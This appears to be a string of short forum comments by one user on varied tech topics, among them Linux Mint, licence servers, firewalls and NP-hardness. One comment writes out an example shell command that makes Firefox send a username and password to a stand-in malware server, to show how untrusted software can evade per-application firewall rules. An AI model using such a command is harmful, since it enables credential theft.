says: no

Did you spel check, jet?

Mint is quite similiar to classic windows, and much more similiar than Windows 8, even windows 7 has a new taskbar (by default).

you are a private person. If you have an startup for stripper tipping, then you cannot discriminate.

Look at Eich and Mozilla. In private, he had the right to get political involved, but Mozilla does not want to get involved.

But you pay one time for the full game, maybe one time per levelpack. Now you for each time, you play the level. And in 10 years you won't be able to get your old android tablet and show someone the old game, because it cannot contact its license-server and will only run the minimum features, if it starts at all.

it discharges in 30 seconds, too.

thank you for the literature hint.

Do you want to mail them physical screenshots? With a qr code, you can mail text.

cgroups may help.

argh, stop messing my posts ...

firefox "malwareserver/?mydata=i+got+him+&username=foo&loggedpassword=bar"& sleep 2 && kill %1

of course the cmdline needs to be:
'firefox "malwareserver/?mydata=i+got+him+&username=foo&loggedpassword=bar&;sleep" '

stupid slashdot

Blocking outbound on per-application basis is needed, if you do not trust your software. But untrusted software can evade this anyway. Just call "firefox http://malwareserver?mydata=i+... 2;kill %1"
So, how does the "~/bin/untrusted-download" firewall rule protect you now?

There is one simple rule for untrusted software: Do not run it.
Linux makes this easy, you need the execution bit, a download or an e-mail attachment will not have it by default. And Linux provides you with a big trusted software repo. You do not need to visit shady downloadsites, which bundle the apps with a strange installer.

And in the USA you cannot? I would have thought, you will always be asked: terminate the contract or accept the new TOS.

But isn't averaging even more unstable than syncing with one clock? And in any case, this one will be more precise than the average and every single other one.

AFAIK the definition is, they are not in P and they can be solved by a non-deterministic TM. Usual proofs are by transitivity, but i do not know an argument against two disjunct trees of problems. maybe there are problems, which cannot be reduced to the known ones, but are np-hard anyway?